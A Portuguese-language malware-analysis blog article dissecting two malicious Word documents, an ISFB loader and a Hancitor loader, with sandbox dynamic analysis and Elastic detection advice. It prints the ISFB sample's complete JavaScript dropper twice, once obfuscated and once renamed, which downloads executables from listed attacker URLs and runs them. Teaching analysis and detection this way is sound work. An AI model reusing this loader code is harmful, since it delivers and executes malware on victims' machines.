Análise Manual de Documentos Maliciosos — Easy Mode

13 min readDec 19, 2023

Neste artigo, vou abordar a análise de dois documentos Word conhecidos como maldocs. O primeiro a ser analisado, é um Hancitor, um Loader que é utilizado para infectar dispositivos com outros malwares. Este malware é vendido como serviço a grupos que pretendem utilizá-lo, com o propósito de infectar dispositivos com outros malwares. O segundo a ser analisado, é o Loader ISFB, que de maneira geral, também o mesmo propósito do Hancitor.

Porque é Importante Aprender a Analisar Maldocs?

Mas antes de começarmos, você pode estar se perguntando:

Porque eu investiria tempo, analisando documentos Office maliciosos, ao invés de analisar artefatos executáveis?

Primeiro, porque o acesso inicial quase sempre será por meio de Phishing, e a grande parte das empresas utilizam o Microsoft Office como software de manipulação de documentos padrão. O ser humano é o elo mais fraco de qualquer empresa, não importa a postura de segurança que ela adota. Se um funcionário clicar num link, ou baixar um anexo que não deveria e executá-lo, a empresa poderá ser comprometida.

Sendo o Phishing um dos métodos mais eficientes de acesso inicial, possivelmente, a busca pelo ‘paciente zero’ provavelmente o levará a analisar um maldoc, durante o processo de Resposta a Incidentes.

O que nos leva ao segundo motivo de dedicar tempo para aprender a analisar maldocs, o fluxo de infecções de malwares por meio de Phishing.

Geralmente, quando um ator malicioso escolhe o método de Phishing para alcançar o Acesso Inicial, o fluxo de infecção geralmente segue o padrão abaixo.

Se você ainda não está convencido da importância de saber analisar um maldoc, aqui vai o último motivo.

Se você trabalha numa equipe que produz inteligência sobre Threat Groups/Actors, você precisa mapear as TTPs e as famílias de malwares associados a determinado Threat Group/Actor. Portanto, é importantíssimo saber se o Threat Group/Actor está implantando o Emotet por meio de um Loader implantado em um maldoc e entregue através de um e-mail de Spear Phishing.

Então, imagine que outro Threat Group/Actor passa a utilizar a mesma TTP, porém, para implantar outro malware. Mas, por meio da sua análise do maldoc coletado durante sua pesquisa, você identificou que o Loader é o mesmo que o Threat Group/Actor utiliza para implantar o Emotet.

Com esta informação, você pode passar a investigar se o Loader (a constante identificada durante a análise de maldocs produzidos por Threat Groups/Actors diferentes) está sendo vendido na Deep Web, ou se Threat Groups/Actors estão trabalhando em conjunto em uma campanha.

Tendo introduzido o porque os adversários escolhem os documentos do Microsoft Office, para implementar o payload de primeiro estágio, e o porque você deveria dedicar mais tempo para melhorar suas habilidades em análise de maldocs, vamos a prática.

Análise Técnica do info_10_10.doc — ISFB Loader

A partir deste momento, iremos realizar a análise técnica e aprofundada do sample info_10_10.doc. Caso você queira tera acesso a este sample, basta baixá-lo por meio da Sandbox Triage.

Geralmente, quando você recebe um sample para análise aprofundada, você já recebe informações de análise de sandbox, ou, informações da equipe de resposta à incidentes. Para validarmos que este sample de fato é malicioso, podemos checar a reputação do documento Word, por meio de seu hash SHA256.

PS C:\Users\Adalberto\Desktop> Get-FileHash -Algorithm SHA256 .\info_10_10.doc

Algorithm       Hash                                                                   Path
---------       ----                                                                   ----
SHA256          89CB1D2EE744ABEE8DA709832EC364637601996BB494F1932837D92727D0A4D8       C:\Users\Adalberto\Desktop\info_10_10.doc

Abaixo, podemos observar que a consulta no VirusTotal nos retorna um veredito positivo para esta amostra.

Agora, vamos analisar aonde o payload malicioso do nosso Loader está implementado.

Se não for a exploração de uma vulnerabilidade específica do Office, o payload malicioso poderá estar em algum desses lugares:

Em macros, que devem ser habilitadas pelo usuário. Apesar de parecer bobo, os adversários ainda conseguem muitos acessos iniciais, manipulando os usuários por meio de engenharia social.
Em forms, que é um tipo de objeto que você pode adicionar em um documento do Office.
Nos arquivos rels, que são arquivos xml que estão dentro do documento Office, e nele encontram-se informações de relacionamento entre diferentes partes do documento. Neste arquivo, geralmente você encontrará URLs para servidores oficiais da Microsoft, que tem como objetivo a definição de determinados padrões do documento. Mas, estes arquivos podem ser utilizados para execução remota de comandos (RCE). Por sinal, foi descoberto uma vulnerabilidade recente, chamada de Follina, que explora exatamente esta capacidade.

Não é uma regra, mas geralmente é o mais comum de se encontrar por aí.

Acima, podemos observar o documento aberto no LibreOffice. Também possível identificar que o texto pede para o usuário habilitar o conteúdo do documento, por meio do Enable Content. Se bem sucedido, o adversário terá o seu payload malicioso executado assim que o usuário clicar aonde foi solicitado.

Neste momento pode supor que o payload malicioso encontram-se ou nas Macros ou nos Forms. Vamos explorar o conteúdo interno deste documento!

Assim que abrimos o explorador de conteúdo interno do documento, já é possível observar um forte indicador de maliciosidade deste documento, por meio da nomenclatura aleatório e aparentemente sem significado, deste objeto.

Ao abrirmos o objeto, podemos observar um conteúdo que está oculto para os usuários, porém, que está dentro de um objeto formulário. Somos capazes de notar que as informações ocultas, parecem ser um diretório do Windows, especificamente o C:\Windows\Temp. Isso pode nos dizer o seguinte, que a amosta irá realizar o download do Second Stage e armazená-lo no diretório temporário do sistema da vítima.

A informação acima do suposto caminho de diretório, nos permite supor que é a declaração de uma variável, com um nome aleatório. Pela sintaxe, podemos supôr que está escrito possivelmente em JavaScript.

Por meio do editor de conteúdo do LibreOffice (é possível fazer a mesma coisa, por meio dos aplicativos do Office), podemos realizar o manuseio deste objeto, então vamos expandir a visualização, para analisarmos melhor o payload do Loader.

Agora somos capazes de ver com mais detalhes, o payload oculto por meio do objeto de formulário. É possível observar que o payload está escrito em JavaScript, e que o possível artefato que executará este código, será armazenado no C:\Windows\Temp, e sendo identificado como bepdnvngqt.js.

Vamos analisar de maneira mais analítica o payload, copiando e colando o conteúdo no VSCode (ou qualquer IDE de sua preferência) para termos a beleza do syntax highlight. Abaixo, segue o código do payload acima.

var b405e71f7f138c1b488b344a5f9cc45a4 = ['https://docs.microsoft.com/en-us/aspnet/index/404', 'https://docs.microsoft.com/en-us/office/index/404', 'https://www.trendmicro.com/de_de/404.html', '4IGng/0ZfL57M', '', 'http://busemedgan.com/Cephs.php', 'http://vorimusesa.com/angosz/cecolf.php?l=irref3.tar'];

function bfe75a096d6e11c568fd238c3534a74b2(b2d5ad25458c4f692c94beeff0bd6079f){
  try{
  var b5eaf7c5542b04e7d507b311e49b99da8 = WScript.CreateObject('MSXML2.XMLHTTP');
  b5eaf7c5542b04e7d507b311e49b99da8.Open('GET', b2d5ad25458c4f692c94beeff0bd6079f, false);
  b5eaf7c5542b04e7d507b311e49b99da8.Send();

  var bd6dad6df257712b9fec0d9677f32fc3e = Math.round(Math.random() * 103);

  if (b5eaf7c5542b04e7d507b311e49b99da8.Status == 200)
  {
      var b19c7adb6f79028f1c751ec511e1d0ad7 = WScript.CreateObject('ADODB.Stream');

      b19c7adb6f79028f1c751ec511e1d0ad7.Open();
      b19c7adb6f79028f1c751ec511e1d0ad7.Type = 1;
      b19c7adb6f79028f1c751ec511e1d0ad7.Write(b5eaf7c5542b04e7d507b311e49b99da8.ResponseBody);
      b19c7adb6f79028f1c751ec511e1d0ad7.Position = 0;

      var bee4d98925150213dd6ea4c05eabfb98f = WScript.CreateObject('Scripting.FileSystemObject');
      if (bee4d98925150213dd6ea4c05eabfb98f.FileExists('C:\\ProgramData\\204' + bd6dad6df257712b9fec0d9677f32fc3e + '.exe'))
      {
          bee4d98925150213dd6ea4c05eabfb98f.DeleteFile('C:\\ProgramData\\204' + bd6dad6df257712b9fec0d9677f32fc3e + '.exe');
      }

      b19c7adb6f79028f1c751ec511e1d0ad7.SaveToFile('C:\\ProgramData\\204' + bd6dad6df257712b9fec0d9677f32fc3e + '.exe', 2);
      b19c7adb6f79028f1c751ec511e1d0ad7.Close();

      (new ActiveXObject("Shell.Application").Open("C:\\ProgramData\\204" + bd6dad6df257712b9fec0d9677f32fc3e + ".exe"));

     }

     }catch(e){}
}

for(var b1b1fe83bc7568ff9b33ecc8a522dbf32 = 0; b1b1fe83bc7568ff9b33ecc8a522dbf32 < b405e71f7f138c1b488b344a5f9cc45a4.length; b1b1fe83bc7568ff9b33ecc8a522dbf32++){

 var b8fa0cc3aa55f3ac6093b094036655d35 = function() {bfe75a096d6e11c568fd238c3534a74b2(b405e71f7f138c1b488b344a5f9cc45a4[b1b1fe83bc7568ff9b33ecc8a522dbf32])};
 b8fa0cc3aa55f3ac6093b094036655d35();
 WScript.Sleep(5869);

}

Agora vamos analisar o que exatamente o payload faz, e para extrairmos IOCs e alimentar a inteligência de nosso SOC.

Acima, podemos observar que a variável b405e71f7f138c1b488b344a5f9cc45 a4 armazena um array com diversas URLs. Como podemos identifica por meio da imagem acima, há 3 valores no Array que chama a atenção. São eles:

4IGng/0ZfL57M
http[:]//busemedgan[.]com/Cephs[.]php
http[:]//vorimusesa[.]com/angosz/cecolf[.]php?l=irref3[.]tar

Definitivamente, não há porque um documento Word realizar requisições para as duas URLs acima. Certamente, estas URLs podem fazer parte da infraestrutura de Comando e Controle do adversário que confeccionou este Loader. Abaixo, segue a análise do VirusTotal, referente ao veredito dos dois domínios presentes no array.

Ao analisar a reputação de ambos os domínios, nós recebemos um veredito positivo de maliciosidade de ambos os domínios. Também é possível observar, que o nome dos artefatos são exatamente os mesmos.

Na imagem acima, podemos observar a principal função do payload, identificada como bfe75a096d6e11c568fd238c3534a74b2.

A função nos permite compreender como o Loader realizar o processo de download e execução do Second Stager.

O Loader irá criar um nome aleatório para o Second Stager.
Por meio da criação de um objeto XMLHTTP, o Loader inicializa este objeto na variável identificada como b5eaf7c5542b04e7d507b311e49b 99da8. Por meio deste objeto, o Loader realiza a requisição HTTP e checa se o response code foi 200 (OK).
Se sim, o Loader irá realizar o download do second stage, por meio de uma URL ofuscada, e irá armazená-lo em C:\ProgramData\, e o seu nome sempre será iniciado com 204.
Após o download e renomeação do objeto, o Loader irá executá-lo.

É sempre importante nós irmos alterando o código ao longo da análise, para permitir uma melhor interpretação. Abaixo, segue o payload após a nossa análise de código.

function download_exec_2stage(b2d5ad25458c4f692c94beeff0bd6079f){
  try{
  var http_request_object = WScript.CreateObject('MSXML2.XMLHTTP');
  http_request_object.Open('GET', b2d5ad25458c4f692c94beeff0bd6079f, false);
  http_request_object.Send();

  var random_name_2stage = Math.round(Math.random() * 103);

  if (http_request_object.Status == 200)
  {
      var file_handle_object_2stage = WScript.CreateObject('ADODB.Stream');

      file_handle_object_2stage.Open();
      file_handle_object_2stage.Type = 1;
      file_handle_object_2stage.Write(http_request_object.ResponseBody);
      file_handle_object_2stage.Position = 0;

      var routine_the_2stage_exist = WScript.CreateObject('Scripting.FileSystemObject');
      if (routine_the_2stage_exist.FileExists('C:\\ProgramData\\204' + random_name_2stage + '.exe'))
      {
          routine_the_2stage_exist.DeleteFile('C:\\ProgramData\\204' + random_name_2stage + '.exe');
      }

      file_handle_object_2stage.SaveToFile('C:\\ProgramData\\204' + random_name_2stage + '.exe', 2);
      file_handle_object_2stage.Close();

      (new ActiveXObject("Shell.Application").Open("C:\\ProgramData\\204" + random_name_2stage + ".exe"));

     }

     }catch(e){}
}

Bem melhor né?

Agora vamos analisar de maneira dinâmica, para tentarmos descobrirmos qual é a URL ofuscada pelo Loader. Abaixo, podemos observar que no final do script é feito alguma manipulação na string da URL.

Além de descobrirmos qual a URL, por meio da análise dinâmica do maldoc, podemos descobri alguma outra capacidade não identificada de maneira estática.

Esta análise dinâmica, será realizada num laboratório isolado e monitorado! Para termos o resultado esperado, vamos executar o maldoc por meio do aplicativo Microsoft Word.

Para termos uma visão ampla do que está acontecendo, iremos utilizar três ferramentas:

FakeNet-NG. É uma ferramenta que permite que simulemos serviços de rede. Identificamos que o Loader contém uma condicional, que apenas continua a ser executada, se o status code da requisição HTTP seja 200 (OK). Por isso, precisamos simular tal conexão, pois é comum que após os servidores que fazem parte da infraestrutura de comando e controle destas campanhas, sejam derrubadas rapidamente.
Elastic Stack, para identificarmos quais logs podem ser utilizados para identificarmos o comportamento produzido pelo maldoc, e assim criarmos regras de detecção.

Ao abrirmos o documento no Microsoft Word, ele nos informa que existem macros neste documento, e que se quisermos executá-las, precisamos clicar no botão Enable Content. E é exatamente isso que queremos.

Ao habilitarmos a execução das Macros, em quase um minuto recebemos um popup informando que um binário desconhecido não conseguiu ser executado, pois pode está corrompido. O artefato é identificado como 20467.exe.

Ao clicarmos em OK, novamente recebemos o mesmo alerta, porém, o nome do binário é diferente.

Podemos supor, que este binário seria o Second Stage. Pois, o padrão aleatório do nome do binário, segue exatamente o princípio que foi estabelecido no código do Loader.

O fato do Windows não conseguir executá-lo, é porque este binário é na verdade um decoy do FakeNet-NG, que ao ser executado funciona como um proxy no host, e se a amostra tentar realizar o download de um artefato, o FakeNet-NG irá entregá-lo um status code 200 (OK), e irá produzir um binário próprio. Esse funcionamento é absolutamente importante, pois o Loader apenas iria continuar a executar, se o status code fosse 200, lembra?

Abaixo, segue o trecho do Loader que realiza a criação do arquivo, por meio do conteúdo da resposta HTTP, e o processo de nomeação aleatória do Second Stage.

if (http_request_object.Status == 200)
  {
      var file_handle_object_2stage = WScript.CreateObject('ADODB.Stream');

      file_handle_object_2stage.Open();
      file_handle_object_2stage.Type = 1;
      file_handle_object_2stage.Write(http_request_object.ResponseBody);
      file_handle_object_2stage.Position = 0;

      var routine_the_2stage_exist = WScript.CreateObject('Scripting.FileSystemObject');
      if (routine_the_2stage_exist.FileExists('C:\\ProgramData\\204' + random_name_2stage + '.exe'))
      {
          routine_the_2stage_exist.DeleteFile('C:\\ProgramData\\204' + random_name_2stage + '.exe');
      }

      file_handle_object_2stage.SaveToFile('C:\\ProgramData\\204' + random_name_2stage + '.exe', 2);
      file_handle_object_2stage.Close();

      (new ActiveXObject("Shell.Application").Open("C:\\ProgramData\\204" + random_name_2stage + ".exe"));

     }

Ao analisarmos no Elastic, podemos observar que é possível identificar por meio do Event ID 11 do Sysmon, a criação do arquivo JS, contendo o código do Loader que será executado.

É possível também, validarmos se de fato o conteúdo do arquivo JS, é de fato o código que analisamos anteriormente. Por meio do log acima, podemos ir exatamente aonde o arquivo se encontra e abri-lo.

Ainda no Elastic, após a criação do arquivo JS, o Word cria um processo do wscript.exe que executa o Loader.

Um tempo após a execução, podemos ver a criação dos dois artefatos por meio do WScript.exe.

Infelizmente, todas as URLs maliciosas para que Loader realiza a requisição, já estão inativas. Então, não podemos afirmar exatamente qual URL hospeda o Second Stage.

Análise Técnica do docus_39386.doc — Hancitor Loader

Agora vamos analisar um maldoc contendo um Hancitor Loader, e como de costume, podemos observar que seu veredito no VirusTotal é malicioso.

Abaixo, podemos observar que este documento foi produzido para ludibriar usuários do DocuSign, e que também há Macros a serem executadas.

Ao analisarmos de forma estática este documento, podemos observar que ele possui alguns objetos. O primeiro, é um formulário que indica ao usuário que o arquivo precisa de uma senha para ser aberto.

O segundo objeto, é a string “Incorrect password! Error 7450965”, que irá aparecer quando o usuário digitar qualquer texto. Provavelmente, para tentar passar a impressão de que o usuário possa estar errando a senha, e que a vítima fique ocupada tentando compreender como abrir o documento.

O terceiro objeto, é apenas a ativação do suporte ao VBA.

E o quarto e último, é o payload do Loader Hancitor.

Na imagem acima, é possível observar vários indicadores interessantes sobre o funcionamento do Loader.

URL utilizada para realizar o download do Second Stage, identificada como: http[:]//elitefireandsafety[.]com/download.html. Ao realizarmos a análise de veredito no VirusTotal, somos capazes de identificar que está categorizado como malicioso por algumas engines.

O diretório onde será armazenado o Second Stage, identificado como: C:\Users\<usuário>\AppDara\Microsoft\Word\Startup\
Uma rotina de randomização do nome do Second Stage, que terá como padrão as strings finais ‘F.wll’.
A utilização da classe WMI Win32_Process, para criar um processo do binário regsvr32.exe, que irá ter como argumento o Second Stage.

Como podemos observar, apesar dos Loaders serem diferentes, o padrão é particularmente o mesmo.

Realiza o download do Second Stage;
Renomeia o Second Stage de maneira randomizada;
Executa o Second Stage.

A mudança sempre estará em COMO o Loader irá realizar estas ações.

Agora que compreendemos o funcionamento do Hancitor Loader, vamos executá-lo e validar que as ações foram realizadas.

Abaixo, podemos observar que ao executar as Macros, o exato o texto identificado no objeto de Formulário nos é apresentado.

Mas como pressupomos na análise estática, independente da senha a ser introduzida no formulário, o Loader executa suas ações sem que o usuário perceba.

Abaixo, podemos validar exatamente as ações que identificamos anteriormente. O Loader realizou o download e renomeou o Second Stage, que agora contém exatamente o padrão de strings finais ‘F.wll’. E então, o Second Stage é executado por meio do regsrv32.exe (tendo como processo pai o WmiPrvSE.exe, pois, como vimos na análise estática, o Loader utiliza a classe Win32_Process do WMI).

Engenharia de Detecção — Criando Regras de Detecção no Elastic para Detectar o Comportamento de Maldocs

Agora que sabemos como funciona o comportamento padrão de maldocs, vamos discutir quais seriam as melhores estratégicas, para detectar o comportamento que analisamos acima.

Atenção, é importante compreender que a arte da engenharia de detecção não é escrita em pedra, pelo fato de que as ameaças estão em constante mudança, é necessário que as regras de detecções também estejam!

Durante esta análise, podemos compreender o seguinte:

Geralmente os maldocs utilizam scripts dinâmicos para armazenarem o Loader de seus payloads. Ou seja VBS, JS, PowerShell e etc. De preferência, aqueles que são aceitos de maneira nativa pelo Windows.
Geralmente o Loader realizará o download do Second Stage.
A maneira de execução do Second Stage pode variar.

Ou seja, nós podemos considerar as seguintes constantes:

Os processos do Word, Excel e PowerPoint executarão o Loader (também podem ser eles a criarem o Loader).
Possivelmente o Loader terá como processo o WScript, CScript ou o PowerShell.
Geralmente, estes mesmos binários podem realizar conexões de rede para realizar o Download do Second Stage.

Com estas constantes, e com o material que coletamos e analisamos ao longo do artigo, é possível criar regras de correlações de eventos. É importante ficar atento, para não colocar informações muito específicas na regra, e acabar limitando o seu poder de detecção.

Conclusão

Espero que ao ler este artigo, você possa ter aprendido alguma coisa nova, ou que possa ter te dado bons insights. Em breve estarei postando outros artigos sobre maldocs mais complexos! Até breve!